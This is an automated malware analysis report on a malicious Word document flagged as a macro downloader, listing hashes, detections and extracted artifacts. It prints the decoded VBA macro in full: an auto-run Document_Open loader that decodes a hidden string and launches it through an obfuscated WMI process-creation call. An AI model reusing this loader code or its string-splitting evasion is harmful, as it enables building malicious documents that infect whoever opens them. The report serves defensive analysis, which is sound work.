Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 4caec94fa2b3a80f…

MALICIOUS

Office (OOXML)

337.3 KB Created: 2020-07-27 18:42:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: 5bb3bf9368a9f5b363c68f76200d9b68 SHA-1: 0506c52deec8f7c403ec3f9a1a6952300e066b29 SHA-256: 4caec94fa2b3a80f26e38928dca065a0754de77e57b9d67cc90ea6d42880dcda
402 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1203 Exploitation for Client Execution

The sample contains a VBA macro with a Document_Open auto-execution macro. This macro uses GetObject and CreateObject to instantiate WMI and then uses the Win32_Process.Create method to launch a process. The WMI API call is obfuscated by splitting the string literal 'winmgmts'. This indicates the macro is likely designed to download and execute a second-stage payload.

Heuristics 9

  • ClamAV: Doc.Downloader.Sagent-9376492-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sagent-9376492-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded OLE object medium OOXML_OLE_OBJECT
    Document contains an embedded OLE object
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3292 bytes
SHA-256: 372c2338df5321ccd196bb9c26a621e01f30f6471d4f3b137902e29eb9501445
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Private Sub Episcopalian(ByVal Bullate As String)








                  Dim Completely As Long: Dim Ungainable() As Byte






                                                                    




                                                                    GoTo Falcon
Unearthly:






                Dissection StrConv(Ungainable, 64, 1055)






                                            Exit Sub








Corporeality:






            For Completely = 0 To UBound(Ungainable)





                                            




                 Ungainable(Completely) = Abs(Ungainable(Completely) - 16)







                  Next







                                                                        GoTo Unearthly







            







          






                 




               




                                                                    





               Exit Sub






Falcon:






                                                                Ungainable = StrConv(Bullate, 128, 1055)








                                                







                                                            GoTo Corporeality








                                        







                                                Exit Sub





               End Sub








               Sub Document_Open()

Call Hillary






                                                                        End Sub





           Private Sub Hillary()
Dim Bullate As String: Bullate = ActiveDocument.Variables("tfb57758c13aced").Value
Episcopalian Bullate







                                            




             End Sub








            Private Sub Dissection(ByVal NoNflux As String)
Dim CoenaCulum As String: CoenaCulum = "."







                                                                






                   If NoNflux <> "" Then
GetObject("w" & "i" & "n" & "m" & "gm" & "t" & "s" & ":\\" & CoenaCulum & "\ro" & "ot\ci" & "m" & "v2" & ":W" & "in3" & "2_P" & "r" & "oc" & "e" & "s" & "s").Create NoNflux, Null, Null, 0






                                                            





                   Else





                                                                MsgBox "Promted usr764 ."








                                                            




                                                            






                GetObject("wi" & "n" & "m" & "g" & "mt" & "s:\\" & "." & "\ro" & "ot\ci" & "mv2" & ":W" & "in" & "3" & "2" & "_P" & "roc" & "e" & "ss").Create "calc.exe", Null, Null, 0








            






             End If
End Sub
ooxml_oleobject_00.bin ooxml-ole-object OOXML embedded OLE part: word/embeddings/Microsoft_Word_Document.docx 116758 bytes
SHA-256: 33eee7350b831c8a1c402f7c782340676651ccd7a1eb2c9736637fa95b1409c8
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13824 bytes
SHA-256: 93fe8e46a4f1288506cb6b39447044a99a749fcd2e1ca01a8db3e610173d4f68
Detection
ClamAV: Doc.Downloader.Sagent-9376492-0
Obfuscation or payload: unlikely
emf_00.emf ooxml-emf OOXML EMF part: word/media/image1.emf 1055464 bytes
SHA-256: 8bef7ddc66b74e506aa86f0a2ed40200e499fa1a62d1723ee4758643e2ce8efa

Open this report in the interactive analyzer, or submit your own file for analysis.